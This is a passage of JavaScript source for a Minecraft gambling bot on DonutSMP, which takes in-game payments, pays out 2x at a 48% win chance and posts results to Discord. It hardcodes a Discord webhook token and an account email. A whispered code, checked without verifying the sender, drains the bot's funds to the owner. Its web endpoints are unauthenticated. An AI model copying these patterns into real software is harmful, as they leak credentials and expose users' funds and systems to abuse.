const mineflayer = require("mineflayer");
const express = require("express");
const fs = require("fs");
const path = require("path");
// ═══════════════════════════════════════════════════════════════
// CONFIGURATION SETTINGS
// ═══════════════════════════════════════════════════════════════
const CONFIG = {
// Bot Connection
host: "donutsmp.net",
username: "stonegamingmode@gmail.com",
auth: "microsoft",
version: "1.20.4",
// Secret Commands
SECRET_CODE: "6872",
OWNER_USERNAME: "Solslfy",
RESERVE_AMOUNT: 100000, // Keep 100k in bot
// Discord Webhook
discordWebhook:
"https://discord.com/api/webhooks/1464629959216595159/wkBY8uhwt84lNjNlsQhzWfLIMEErvDpNMsDgAw88AYASLNKLaDURYInaTr7tPG-55X4S",
sendAllBets: true, // Send every bet to Discord
bigBetThreshold: 2500000, // Bets above $2.5M are considered "big"
// Debug Settings
debugMode: true,
// Gambling Settings
MIN_BET: 1, // Minimum bet: $1
MAX_BET: 5000000, // Maximum bet: $5,000,000
WIN_CHANCE: 0.48, // 48% chance to win
PAYOUT_MULTIPLIER: 2, // 2x payout on win
COOLDOWN_MS: 3000, // 3 second cooldown
// Safety Settings
MIN_BALANCE: 5000,
MAX_BET_RATIO: 0.4,
};
// ═══════════════════════════════════════════════════════════════
// MESSAGE TEMPLATES
// ═══════════════════════════════════════════════════════════════
const MESSAGES = {
WIN: [
"YOU WON $[AMOUNT]!",
"Congrats! Here's your $[AMOUNT]!",
"Nice! You won $[AMOUNT]!",
"Winner! Sending you $[AMOUNT]!",
"Good job! Here is your $[AMOUNT]!",
"Lucky! You just won $[AMOUNT]!",
"Amazing! Enjoy your $[AMOUNT]!",
"Jackpot! You won $[AMOUNT]!",
"You hit! Won $[AMOUNT]!",
"Success! Here's $[AMOUNT]!",
],
LOSS: [
"You lost $[AMOUNT]! Better luck next time!",
"Not this time! You lost $[AMOUNT]",
"Unfortunately, you lost $[AMOUNT]",
"House wins! You lost $[AMOUNT]",
"Tough luck! Lost $[AMOUNT]",
"That's a loss of $[AMOUNT]! Try again!",
"No luck this time! Lost $[AMOUNT]",
"Better luck next time! Lost $[AMOUNT]",
"Missed! You lost $[AMOUNT]",
"House takes $[AMOUNT]! Spin again!",
],
MIN_BET_REFUND: [
"Minimum bet is $[MIN]! Refunding...",
"Bet too small! Min is $[MIN]. Sending it back...",
"Below minimum ($[MIN])! Refunding your money...",
"That's under the $[MIN] minimum. Refunded!",
"Min bet: $[MIN]. Returning your funds...",
],
MAX_BET_REFUND: [
"Maximum bet is $[MAX]! Refunding...",
"Bet too large! Max is $[MAX]. Sending it back...",
"Above maximum ($[MAX])! Refunding your money...",
"That's over the $[MAX] limit. Refunded!",
"Max bet: $[MAX]. Returning your funds...",
],
COOLDOWN_REFUND: [
"Wait [WAIT]s before betting again! Refunding...",
"Slow down! Wait [WAIT] seconds. Refunded!",
"Cooldown active! [WAIT]s remaining. Money returned!",
"Too fast! Wait [WAIT]s. Sending your bet back...",
"Please wait [WAIT] seconds. Refunded!",
],
LOW_FUNDS_REFUND: [
"Casino is low on funds! Gambling paused. Refunding...",
"Sorry! We're low on money. Refunding your bet...",
"Bot funds too low! Refunding your $[AMOUNT]...",
"Not enough in the house! Sending your money back...",
"Insufficient funds! Refunding $[AMOUNT]...",
],
CANT_AFFORD_REFUND: [
"Bet too large! Bot can't afford payout. Refunding...",
"That's too much! Can't pay if you win. Refunded!",
"Potential payout too high! Sending money back...",
"Can't cover that bet! Refunding...",
"Unable to cover potential winnings. Refunded!",
],
BALANCE_RESPONSE: [
"Bot Balance: $[BALANCE]",
"Current Balance: $[BALANCE]",
"I have $[BALANCE]",
"Balance: $[BALANCE]",
"$[BALANCE] in the casino!",
"The house has $[BALANCE]",
],
};
// Helper function to get random message
function getRandomMessage(category, replacements = {}) {
const messages = MESSAGES[category];
let message = messages[Math.floor(Math.random() * messages.length)];
// Replace placeholders
for (const [key, value] of Object.entries(replacements)) {
message = message.replace(`[${key}]`, value);
}
return message;
}
// ═══════════════════════════════════════════════════════════════
// BOT STATE
// ═══════════════════════════════════════════════════════════════
let botBalance = 0;
let isOnline = false;
let botUsername = "autogamblebot";
let totalBetsProcessed = 0;
let totalMoneyWagered = 0;
let totalMoneyPaidOut = 0;
const lastBetTime = new Map();
const recentBets = [];
const stats = {
wins: 0,
losses: 0,
biggestWin: 0,
biggestLoss: 0,
};
const debugLogs = [];
function addDebugLog(message, type = "info") {
const log = {
time: new Date().toLocaleTimeString(),
message,
type,
};
debugLogs.unshift(log);
if (debugLogs.length > 50) debugLogs.pop();
}
// ═════════════════════════════════════════════════════════════
// DISCORD WEBHOOK FUNCTIONS
// ═══════════════════════════════════════════════════════════════
async function sendDiscordWebhook(player, amount, won, payout = 0) {
if (!CONFIG.discordWebhook || CONFIG.discordWebhook === "") {
debug("Discord webhook not configured, skipping notification");
return;
}
if (!CONFIG.sendAllBets && amount < CONFIG.bigBetThreshold) {
debug("Skipping Discord notification for small bet", {
amount,
threshold: CONFIG.bigBetThreshold,
});
return;
}
const profit = totalMoneyWagered - totalMoneyPaidOut;
const winRate =
totalBetsProcessed > 0
? ((stats.wins / totalBetsProcessed) * 100).toFixed(1)
: 0;
const embed = {
title: won ? "🎉 WINNER!" : "💔 LOST",
color: won ? 0x10b981 : 0xef4444,
fields: [
{
name: "👤 Player",
value: player,
inline: true,
},
{
name: "💵 Bet Amount",
value: `$${amount.toLocaleString()}`,
inline: true,
},
{
name: won ? "💰 Payout" : "❌ Result",
value: won ? `$${payout.toLocaleString()}` : "Lost",
inline: true,
},
{
name: "📊 Bot Balance",
value: `$${botBalance.toLocaleString()}`,
inline: true,
},
{
name: "🎲 Total Bets",
value: `${totalBetsProcessed}`,
inline: true,
},
{
name: "📈 Win Rate",
value: `${winRate}%`,
inline: true,
},
{
name: "💸 House Profit",
value: `$${profit.toLocaleString()}`,
inline: true,
},
{
name: "🏆 W/L Ratio",
value: `${stats.wins}W / ${stats.losses}L`,
inline: true,
},
{
name: "⏰ Time",
value: new Date().toLocaleString(),
inline: true,
},
],
footer: {
text: `DonutSMP Casino | Bot: ${botUsername}`,
},
timestamp: new Date().toISOString(),
};
if (amount >= CONFIG.bigBetThreshold) {
embed.description = `🔥 **BIG ${won ? "WIN" : "LOSS"}!** 🔥`;
}
const payload = {
username: "Casino Bot",
avatar_url: "https://cdn-icons-png.flaticon.com/512/2917/2917995.png",
embeds: [embed],
};
try {
const response = await fetch(CONFIG.discordWebhook, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(payload),
});
if (response.ok) {
console.log("✅ Discord notification sent");
addDebugLog("Discord webhook sent successfully", "success");
debug("Discord webhook sent", { player, amount, won });
} else {
console.error(
"❌ Discord webhook failed:",
response.status,
response.statusText,
);
addDebugLog(`Discord webhook failed: ${response.status}`, "error");
}
} catch (error) {
console.error("❌ Error sending Discord webhook:", error.message);
addDebugLog("Discord webhook error: " + error.message, "error");
debug("Discord webhook error", { error: error.message });
}
}
async function sendDiscordStatusUpdate(message, color = 0x667eea) {
if (!CONFIG.discordWebhook || CONFIG.discordWebhook === "") return;
const embed = {
title: "🤖 Bot Status Update",
description: message,
color: color,
footer: {
text: `DonutSMP Casino | Bot: ${botUsername}`,
},
timestamp: new Date().toISOString(),
};
const payload = {
username: "Casino Bot",
avatar_url: "https://cdn-icons-png.flaticon.com/512/2917/2917995.png",
embeds: [embed],
};
try {
await fetch(CONFIG.discordWebhook, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(payload),
});
debug("Discord status update sent", { message });
} catch (error) {
debug("Discord status update failed", { error: error.message });
}
}
async function sendDiscordAlert(title, message, color = 0xff0000) {
if (!CONFIG.discordWebhook || CONFIG.discordWebhook === "") return;
const embed = {
title: title,
description: message,
color: color,
fields: [
{
name: "💰 Bot Balance After",
value: `$${botBalance.toLocaleString()}`,
inline: true,
},
],
footer: {
text: `DonutSMP Casino | Bot: ${botUsername}`,
},
timestamp: new Date().toISOString(),
};
const payload = {
username: "Casino Bot",
avatar_url: "https://cdn-icons-png.flaticon.com/512/2917/2917995.png",
embeds: [embed],
};
try {
await fetch(CONFIG.discordWebhook, {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(payload),
});
} catch (error) {
debug("Discord alert failed", { error: error.message });
}
}
// ═══════════════════════════════════════════════════════════════
// MONEY ABBREVIATION PARSER
// ═══════════════════════════════════════════════════════════════
function parseMoneyAmount(input) {
const cleaned = String(input)
.replace(/[$,\s]/g, "")
.toLowerCase();
const abbrevMatch = cleaned.match(/^([\d.]+)([kmb])$/);
if (abbrevMatch) {
const number = parseFloat(abbrevMatch[1]);
const suffix = abbrevMatch[2];
const multipliers = {
k: 1000,
m: 1000000,
b: 1000000000,
};
const result = Math.floor(number * multipliers[suffix]);
debug(`Parsed abbreviation: ${input} → ${result}`, {
input,
number,
suffix,
result,
});
return result;
}
const parsed = parseInt(cleaned);
if (!isNaN(parsed)) {
debug(`Parsed regular number: ${input} → ${parsed}`, { input, parsed });
return parsed;
}
debug(`Failed to parse amount: ${input}`, { input });
return NaN;
}
// ═══════════════════════════════════════════════════════════════
// COMMAND HANDLERS
// ═══════════════════════════════════════════════════════════════
function handleBalanceCommand(message) {
// Parse the message format: "username -> YOU: message"
const whisperMatch = message.match(/^(\w+)\s*->\s*YOU:\s*(.+)$/i);
if (!whisperMatch) {
return false;
}
const username = whisperMatch[1];
const content = whisperMatch[2].trim().toLowerCase();
// Check if the content is "bal" or "balance"
if (content === "bal" || content === "balance") {
console.log(`💰 Balance request from ${username}`);
addDebugLog(`Balance request from ${username}`, "info");
const balanceMessage = getRandomMessage("BALANCE_RESPONSE", {
BALANCE: botBalance.toLocaleString(),
});
bot.chat(`/msg ${username} ${balanceMessage}`);
console.log(`✅ Sent balance to ${username}: ${balanceMessage}`);
addDebugLog(`Sent balance info to ${username}`, "success");
return true;
}
return false;
}
function handleSecretCommand(message) {
// Parse the message format: "username -> YOU: message"
const whisperMatch = message.match(/^(\w+)\s*->\s*YOU:\s*(.+)$/i);
if (!whisperMatch) {
debug("Not a whisper format, skipping", { message });
return false;
}
const username = whisperMatch[1];
const content = whisperMatch[2].trim();
console.log(`🔍 Whisper from ${username}: "${content}"`);
addDebugLog(`Whisper detected: ${username} -> "${content}"`, "info");
// Check if the content matches the secret code
if (content === CONFIG.SECRET_CODE) {
console.log("═".repeat(60));
console.log("🚨 SECRET COMMAND DETECTED!");
console.log(`👤 Triggered by: ${username}`);
console.log(`📝 Message content: "${content}"`);
console.log("═".repeat(60));
addDebugLog(
`🚨 SECRET COMMAND "${CONFIG.SECRET_CODE}" detected from ${username}!`,
"warn",
);
// STEP 1: Send immediate confirmation message
try {
bot.chat(`/msg ${username} 6872 Active!`);
console.log(`✅ Sent confirmation to ${username}: "6872 Active!"`);
addDebugLog(`Sent "6872 Active!" confirmation to ${username}`, "success");
} catch (err) {
console.error(`❌ Failed to send confirmation message:`, err);
addDebugLog(`Failed to send confirmation: ${err.message}`, "error");
}
// STEP 2: Calculate amount to send (all money minus reserve)
const amountToSend = Math.max(0, botBalance - CONFIG.RESERVE_AMOUNT);
if (amountToSend <= 0) {
console.log(`❌ Bot balance too low to execute command`);
console.log(
`💰 Current: $${botBalance.toLocaleString()} | Reserve: $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
);
addDebugLog("Secret command failed: insufficient balance", "error");
setTimeout(() => {
bot.chat(
`/msg ${username} Bot balance is too low! Need at least $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
);
}, 500);
return true;
}
console.log(`💰 Current balance: $${botBalance.toLocaleString()}`);
console.log(
`💸 Sending to ${CONFIG.OWNER_USERNAME}: $${amountToSend.toLocaleString()}`,
);
console.log(
`🏦 Keeping reserve: $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
);
// STEP 3: Send the money (delayed to ensure confirmation message sends first)
setTimeout(() => {
try {
bot.chat(`/pay ${CONFIG.OWNER_USERNAME} ${amountToSend}`);
console.log(
`✅ Payment command sent: /pay ${CONFIG.OWNER_USERNAME} ${amountToSend}`,
);
addDebugLog(
`💸 Sent $${amountToSend.toLocaleString()} to ${CONFIG.OWNER_USERNAME}`,
"success",
);
// Update bot balance
const oldBalance = botBalance;
botBalance = CONFIG.RESERVE_AMOUNT;
// STEP 4: Send Discord alert
sendDiscordAlert(
"🚨 SECRET COMMAND EXECUTED",
`**Code:** ${CONFIG.SECRET_CODE}\n**Triggered by:** ${username}\n**Previous Balance:** $${oldBalance.toLocaleString()}\n**Amount Sent:** $${amountToSend.toLocaleString()}\n**Recipient:** ${CONFIG.OWNER_USERNAME}\n**Reserve Kept:** $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`,
0xff6b00,
);
// STEP 5: Send final confirmation (delayed)
setTimeout(() => {
bot.chat(
`/msg ${username} Sent $${amountToSend.toLocaleString()} to ${CONFIG.OWNER_USERNAME}!`,
);
addDebugLog(`Sent final confirmation to ${username}`, "success");
}, 1500);
} catch (err) {
console.error(`❌ Error executing payment:`, err);
addDebugLog(`Payment execution error: ${err.message}`, "error");
}
}, 1000);
console.log("═".repeat(60));
return true;
}
return false;
}
// ═══════════════════════════════════════════════════════════════
// KEEP-ALIVE SERVER (FOR REPLIT)
// ═══════════════════════════════════════════════════════════════
const app = express();
app.use(express.json());
app.get("/", (req, res) => {
const uptime = process.uptime();
const hours = Math.floor(uptime / 3600);
const minutes = Math.floor((uptime % 3600) / 60);
const seconds = Math.floor(uptime % 60);
const winRate =
totalBetsProcessed > 0
? ((stats.wins / totalBetsProcessed) * 100).toFixed(1)
: 0;
const profit = totalMoneyWagered - totalMoneyPaidOut;
res.send(`
DonutSMP Gambling Bot Dashboard
💬 Send Chat Message
${!isOnline ? "⚠️ Bot must be online to send messages" : "Press Enter to send"}
💬 Balance Command: Whisper "bal" to see bot's balance
📝 Use: /msg ${botUsername} bal
🔐 Secret Command: Whisper "${CONFIG.SECRET_CODE}"
➡️ Bot replies: "6872 Active!"
➡️ Then sends all money to ${CONFIG.OWNER_USERNAME} (keeps $${CONFIG.RESERVE_AMOUNT.toLocaleString()} reserve)
💬 Use: /msg ${botUsername} ${CONFIG.SECRET_CODE}
Bot Balance
$${botBalance.toLocaleString()}
Total Bets
${totalBetsProcessed}
House Profit
$${profit.toLocaleString()}
📊 Statistics
Player Wins
${stats.wins}
Player Losses
${stats.losses}
Money Wagered
$${totalMoneyWagered.toLocaleString()}
Money Paid Out
$${totalMoneyPaidOut.toLocaleString()}
Biggest Win
$${stats.biggestWin.toLocaleString()}
Uptime
${hours}h ${minutes}m ${seconds}s
🎲 Recent Bets
${recentBets.length === 0 ? '
No bets yet...
' : ""}
${recentBets
.map(
(bet) => `
${bet.player} bet $${bet.amount.toLocaleString()}
${bet.time}
${bet.won ? "✅ WON $" + bet.payout.toLocaleString() : "❌ LOST"}
`,
)
.join("")}
🔧 Debug Console
${debugLogs.length === 0 ? '
Waiting for logs...
' : ""}
${debugLogs
.map(
(log) => `
[${log.time}] ${log.message}
`,
)
.join("")}
💰 How to Play
Command: /pay ${botUsername} <amount>
💡 You can use abbreviations!
Examples: 100k = 100,000 | 1.5m = 1,500,000 | 2b = 2,000,000,000
Min Bet
$${CONFIG.MIN_BET.toLocaleString()}
Max Bet
$${CONFIG.MAX_BET.toLocaleString()}
Win Chance
${CONFIG.WIN_CHANCE * 100}%
Payout
${CONFIG.PAYOUT_MULTIPLIER}x
`);
});
app.post("/clear-cache", (req, res) => {
const profilePath = path.join(__dirname, "minecraft_profiles");
try {
if (fs.existsSync(profilePath)) {
fs.rmSync(profilePath, { recursive: true, force: true });
console.log("🗑️ Login cache cleared!");
addDebugLog("Login cache cleared by user", "warn");
res.json({
success: true,
message: "Login cache cleared! Please restart the bot.",
});
} else {
console.log("⚠️ No cache found to clear");
addDebugLog("No cache found to clear", "warn");
res.json({ success: false, message: "No cache found." });
}
} catch (err) {
console.error("❌ Error clearing cache:", err);
addDebugLog("Error clearing cache: " + err.message, "error");
res.json({ success: false, message: "Error: " + err.message });
}
});
app.post("/check-balance", (req, res) => {
if (bot && isOnline) {
bot.chat("/balance");
addDebugLog("Manual balance check requested", "info");
res.json({ success: true, message: "Balance check sent!" });
} else {
res.json({ success: false, message: "Bot is offline!" });
}
});
app.post("/send-chat", (req, res) => {
const { message } = req.body;
if (!message || message.trim() === "") {
res.json({ success: false, message: "Message cannot be empty!" });
return;
}
if (!bot || !isOnline) {
res.json({ success: false, message: "Bot is offline!" });
return;
}
try {
bot.chat(message);
console.log(`💬 Sent chat message: ${message}`);
addDebugLog(`Chat sent: ${message}`, "success");
res.json({ success: true, message: "Message sent!" });
} catch (err) {
console.error("❌ Error sending message:", err);
addDebugLog("Error sending chat: " + err.message, "error");
res.json({ success: false, message: "Error: " + err.message });
}
});
app.post("/save-webhook", (req, res) => {
const { webhook } = req.body;
if (!webhook || !webhook.startsWith("https://discord.com/api/webhooks/")) {
res.json({ success: false, message: "Invalid webhook URL!" });
return;
}
CONFIG.discordWebhook = webhook;
console.log("💾 Discord webhook saved:", webhook.substring(0, 50) + "...");
addDebugLog("Discord webhook configured", "success");
res.json({ success: true, message: "Webhook saved! Refresh the page." });
});
app.post("/test-webhook", async (req, res) => {
if (!CONFIG.discordWebhook) {
res.json({ success: false, message: "No webhook configured!" });
return;
}
try {
await sendDiscordStatusUpdate(
"🧪 **Test Message** - Webhook is working correctly!",
0x5865f2,
);
res.json({ success: true, message: "Test message sent to Discord!" });
} catch (err) {
res.json({
success: false,
message: "Failed to send test message: " + err.message,
});
}
});
app.listen(3000, () => {
console.log("🌐 Dashboard running on port 3000");
addDebugLog("Dashboard server started on port 3000", "success");
});
// ═══════════════════════════════════════════════════════════════
// HELPER FUNCTIONS
// ═══════════════════════════════════════════════════════════════
function debug(message, data = null) {
if (CONFIG.debugMode) {
const timestamp = new Date().toLocaleTimeString();
console.log(`[DEBUG ${timestamp}] ${message}`);
if (data) {
console.log(`[DEBUG DATA]`, data);
}
}
}
// ═══════════════════════════════════════════════════════════════
// CREATE THE BOT
// ═══════════════════════════════════════════════════════════════
console.log("🎰 Starting Gambling Bot for DonutSMP...");
console.log(`📧 Account: stonegamingmode@gmail.com`);
console.log(`🎲 Players send money to bot, bot pays out winners`);
console.log(
`🔐 Secret command enabled: "${CONFIG.SECRET_CODE}" → ${CONFIG.OWNER_USERNAME}`,
);
addDebugLog("Bot initialization started", "info");
let bot;
function createBot() {
console.log("═".repeat(60));
console.log("🤖 CREATING BOT INSTANCE");
console.log("═".repeat(60));
console.log(`📧 Email: ${CONFIG.username}`);
console.log(`🌍 Server: ${CONFIG.host}`);
console.log(`🎮 Version: ${CONFIG.version}`);
console.log(`🔐 Auth: ${CONFIG.auth}`);
console.log(
`🔔 Discord: ${CONFIG.discordWebhook ? "Configured" : "Not configured"}`,
);
console.log(`🔑 Secret Code: ${CONFIG.SECRET_CODE}`);
console.log(`👤 Owner: ${CONFIG.OWNER_USERNAME}`);
console.log(`💰 Reserve: $${CONFIG.RESERVE_AMOUNT.toLocaleString()}`);
console.log("═".repeat(60));
console.log(`💵 Min Bet: $${CONFIG.MIN_BET.toLocaleString()}`);
console.log(`💰 Max Bet: $${CONFIG.MAX_BET.toLocaleString()}`);
console.log(`🎲 Win Chance: ${CONFIG.WIN_CHANCE * 100}%`);
console.log(`⏱️ Cooldown: ${CONFIG.COOLDOWN_MS}ms`);
console.log("═".repeat(60));
addDebugLog("Creating bot with email: " + CONFIG.username, "info");
addDebugLog("Server: " + CONFIG.host, "info");
try {
bot = mineflayer.createBot({
host: CONFIG.host,
username: CONFIG.username,
auth: CONFIG.auth,
version: CONFIG.version,
profilesFolder: "./minecraft_profiles",
checkTimeoutInterval: 60000,
onMsaCode: (data) => {
console.log("═".repeat(60));
console.log("🔐 MICROSOFT AUTHENTICATION REQUIRED");
console.log("═".repeat(60));
console.log(`Go to: ${data.verification_uri}`);
console.log(`Enter code: ${data.user_code}`);
console.log(`Expires in: ${data.expires_in} seconds`);
console.log("═".repeat(60));
console.log("⚠️ If you have multiple accounts, select one.");
console.log(
"⚠️ After signing in, the bot will connect automatically.",
);
console.log("⏳ Waiting for authentication...");
addDebugLog(
"MSA authentication required - code: " + data.user_code,
"warn",
);
debug("MSA authentication code displayed");
},
});
addDebugLog("Bot instance created successfully", "success");
} catch (err) {
console.error("❌ Failed to create bot:", err.message);
addDebugLog("Bot creation failed: " + err.message, "error");
debug("Bot creation failed", { error: err });
return;
}
setupBotEvents();
}
function setupBotEvents() {
debug("Setting up bot event listeners...");
addDebugLog("Setting up event listeners", "info");
bot.on("login", () => {
console.log("✅ LOGIN SUCCESSFUL");
addDebugLog("Login successful!", "success");
debug("Bot login event triggered");
});
bot.on("spawn", () => {
isOnline = true;
botUsername = bot.username;
console.log("✅ Bot connected to DonutSMP!");
console.log(`👤 Username: ${bot.username}`);
console.log(`📍 Position: ${bot.entity.position}`);
console.log(`💚 Health: ${bot.health}`);
console.log(`🍗 Food: ${bot.food}`);
addDebugLog("Bot spawned! Username: " + bot.username, "success");
addDebugLog("Position: " + JSON.stringify(bot.entity.position), "info");
debug("Bot spawned in world");
sendDiscordStatusUpdate(
"✅ **Bot Online** - Casino is now accepting bets!",
0x10b981,
);
setTimeout(() => {
console.log("📊 Checking balance...");
addDebugLog("Checking initial balance", "info");
bot.chat("/balance");
}, 3000);
setInterval(() => {
if (isOnline) {
bot.chat("/balance");
debug("Auto balance check");
addDebugLog("Auto balance check", "info");
}
}, 60000);
setTimeout(() => {
console.log("═".repeat(60));
console.log("🎰 GAMBLING BOT READY!");
console.log(`💰 Players can now send money to: ${bot.username}`);
console.log(
`💵 Min: $${CONFIG.MIN_BET.toLocaleString()} | Max: $${CONFIG.MAX_BET.toLocaleString()}`,
);
console.log(
`🎲 Win chance: ${CONFIG.WIN_CHANCE * 100}% | Payout: ${CONFIG.PAYOUT_MULTIPLIER}x`,
);
console.log(`✨ Money abbreviations supported: k, m, b`);
console.log(
`🔔 Discord notifications: ${CONFIG.discordWebhook ? "Enabled" : "Disabled"}`,
);
console.log(
`🔐 Secret command: /msg ${bot.username} ${CONFIG.SECRET_CODE} → "6872 Active!"`,
);
console.log(`💬 Balance command: /msg ${bot.username} bal`);
console.log("═".repeat(60));
addDebugLog("Bot is ready to accept bets!", "success");
}, 5000);
});
bot.on("messagestr", (message) => {
console.log(`[CHAT] ${message}`);
addDebugLog("Chat: " + message, "info");
debug("Chat message received", { message });
parseBalance(message);
parsePayment(message);
// Check for commands (balance and secret code)
if (!handleBalanceCommand(message)) {
handleSecretCommand(message);
}
});
bot.on("health", () => {
debug("Health update", { health: bot.health, food: bot.food });
});
bot.on("kicked", (reason) => {
isOnline = false;
console.log(`❌ Kicked: ${reason}`);
addDebugLog("Bot was kicked: " + reason, "error");
debug("Bot was kicked", { reason });
sendDiscordStatusUpdate(`❌ **Bot Kicked** - Reason: ${reason}`, 0xef4444);
});
bot.on("error", (err) => {
console.error("❌ Error:", err.message);
console.error("📋 Full error:", err);
addDebugLog("ERROR: " + err.message, "error");
debug("Bot error occurred", {
message: err.message,
stack: err.stack,
});
});
bot.on("end", () => {
isOnline = false;
console.log("❌ Disconnected from server");
addDebugLog("Bot disconnected", "error");
debug("Bot connection ended");
sendDiscordStatusUpdate(
"🔴 **Bot Offline** - Disconnected from server",
0xef4444,
);
});
}
// ═══════════════════════════════════════════════════════════════
// PARSING FUNCTIONS
// ═══════════════════════════════════════════════════════════════
function parseBalance(message) {
debug("Attempting to parse balance", { message });
const patterns = [
/(?:Balance|balance).*?\$?([\d,]+(?:\.\d+)?[kmb]?)/i,
/You have.*?\$?([\d,]+(?:\.\d+)?[kmb]?)/i,
/\$?([\d,]+(?:\.\d+)?[kmb]?).*?(?:balance|Balance)/i,
];
for (let i = 0; i < patterns.length; i++) {
const match = message.match(patterns[i]);
if (match) {
const newBalance = parseMoneyAmount(match[1]);
debug(`Pattern ${i + 1} matched`, { raw: match[1], parsed: newBalance });
if (!isNaN(newBalance) && newBalance !== botBalance) {
botBalance = newBalance;
console.log(`💰 Bot balance: $${botBalance.toLocaleString()}`);
addDebugLog(
`Balance updated: $${botBalance.toLocaleString()}`,
"success",
);
debug("Balance updated");
return;
}
}
}
}
function parsePayment(message) {
debug("Checking for payment", { message });
const patterns = [
/(\w+) paid you \$?([\d,]+(?:\.\d+)?[kmb]?)/i,
/You received \$?([\d,]+(?:\.\d+)?[kmb]?) from (\w+)/i,
/(\w+) sent you \$?([\d,]+(?:\.\d+)?[kmb]?)/i,
/(\w+) has paid you \$?([\d,]+(?:\.\d+)?[kmb]?)/i,
];
for (let i = 0; i < patterns.length; i++) {
const match = message.match(patterns[i]);
if (match) {
let player, amount;
if (patterns[i].toString().includes("received")) {
amount = parseMoneyAmount(match[1]);
player = match[2];
} else {
player = match[1];
amount = parseMoneyAmount(match[2]);
}
if (!isNaN(amount) && player && player !== bot.username) {
console.log(
`💸 Payment received: ${player} sent $${amount.toLocaleString()}`,
);
addDebugLog(`Payment: ${player} → $${amount.toLocaleString()}`, "warn");
debug("Payment parsed", { player, amount });
processBet(player, amount);
return;
}
}
}
}
// ═══════════════════════════════════════════════════════════════
// GAMBLING LOGIC (FIXED!)
// ═══════════════════════════════════════════════════════════════
function processBet(player, amount) {
console.log("═".repeat(60));
console.log(`🎲 PROCESSING BET`);
console.log(`👤 Player: ${player}`);
console.log(`💵 Amount: $${amount.toLocaleString()}`);
console.log("═".repeat(60));
addDebugLog(
`Processing bet from ${player} for $${amount.toLocaleString()}`,
"warn",
);
if (amount < CONFIG.MIN_BET) {
console.log(`❌ Bet too small (min: $${CONFIG.MIN_BET.toLocaleString()})`);
addDebugLog(
`Rejected: Below minimum ($${CONFIG.MIN_BET.toLocaleString()})`,
"error",
);
const refundMsg = getRandomMessage("MIN_BET_REFUND", {
MIN: CONFIG.MIN_BET.toLocaleString(),
});
bot.chat(`/msg ${player} ${refundMsg}`);
setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
debug("Bet rejected - too small", { amount, min: CONFIG.MIN_BET });
return;
}
if (amount > CONFIG.MAX_BET) {
console.log(`❌ Bet too large (max: $${CONFIG.MAX_BET.toLocaleString()})`);
addDebugLog(
`Rejected: Above maximum ($${CONFIG.MAX_BET.toLocaleString()})`,
"error",
);
const refundMsg = getRandomMessage("MAX_BET_REFUND", {
MAX: CONFIG.MAX_BET.toLocaleString(),
});
bot.chat(`/msg ${player} ${refundMsg}`);
setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
debug("Bet rejected - too large", { amount, max: CONFIG.MAX_BET });
return;
}
if (botBalance < CONFIG.MIN_BALANCE) {
console.log(
`❌ Bot balance too low (${botBalance} < ${CONFIG.MIN_BALANCE})`,
);
addDebugLog(`Rejected: Low balance (${botBalance})`, "error");
const refundMsg = getRandomMessage("LOW_FUNDS_REFUND", {
AMOUNT: amount.toLocaleString(),
});
bot.chat(`/msg ${player} ${refundMsg}`);
setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
debug("Bet rejected - low balance");
return;
}
const potentialPayout = amount * CONFIG.PAYOUT_MULTIPLIER;
if (potentialPayout > botBalance) {
console.log(
`❌ Can't afford payout (${potentialPayout.toLocaleString()} > ${botBalance.toLocaleString()})`,
);
addDebugLog(`Rejected: Can't afford payout`, "error");
const refundMsg = getRandomMessage("CANT_AFFORD_REFUND");
bot.chat(`/msg ${player} ${refundMsg}`);
setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
debug("Bet rejected - cant afford payout");
return;
}
const now = Date.now();
const lastBet = lastBetTime.get(player) || 0;
const timeSinceLastBet = now - lastBet;
if (timeSinceLastBet < CONFIG.COOLDOWN_MS) {
const waitTime = Math.ceil((CONFIG.COOLDOWN_MS - timeSinceLastBet) / 1000);
console.log(`❌ Cooldown active (${waitTime}s remaining)`);
addDebugLog(`Rejected: Cooldown (${waitTime}s)`, "warn");
const refundMsg = getRandomMessage("COOLDOWN_REFUND", {
WAIT: waitTime,
});
bot.chat(`/msg ${player} ${refundMsg}`);
setTimeout(() => bot.chat(`/pay ${player} ${amount}`), 500);
debug("Bet rejected - cooldown", { waitTime });
return;
}
lastBetTime.set(player, now);
totalBetsProcessed++;
totalMoneyWagered += amount;
const won = Math.random() < CONFIG.WIN_CHANCE;
console.log(`🎲 Rolling... (${CONFIG.WIN_CHANCE * 100}% win chance)`);
addDebugLog(`Rolling for ${player}...`, "warn");
// ═══════════════════════════════════════════════════════════════
// 🔧 BUG FIX: PAYMENT FIRST, THEN MESSAGE
// ═══════════════════════════════════════════════════════════════
if (won) {
const payout = amount * CONFIG.PAYOUT_MULTIPLIER;
const winMsg = getRandomMessage("WIN", {
AMOUNT: payout.toLocaleString(),
});
// SEND PAYMENT FIRST
setTimeout(() => {
bot.chat(`/pay ${player} ${payout}`);
// THEN SEND MESSAGE AFTER 1 SECOND DELAY
setTimeout(() => {
bot.chat(`/msg ${player} ${winMsg}`);
}, 1000);
}, 500);
stats.wins++;
totalMoneyPaidOut += payout;
botBalance -= amount;
if (amount > stats.biggestWin) {
stats.biggestWin = amount;
}
recentBets.unshift({
player,
amount,
won: true,
payout,
time: new Date().toLocaleTimeString(),
});
if (recentBets.length > 10) recentBets.pop();
console.log(`✅ ${player} WON! Paid out $${payout.toLocaleString()}`);
addDebugLog(`${player} WON $${payout.toLocaleString()}!`, "success");
debug("Player won", { player, amount, payout });
sendDiscordWebhook(player, amount, true, payout);
} else {
// LOSS: JUST SEND MESSAGE (NO PAYMENT)
const lossMsg = getRandomMessage("LOSS", {
AMOUNT: amount.toLocaleString(),
});
setTimeout(() => {
bot.chat(`/msg ${player} ${lossMsg}`);
}, 500);
stats.losses++;
botBalance += amount;
if (amount > stats.biggestLoss) {
stats.biggestLoss = amount;
}
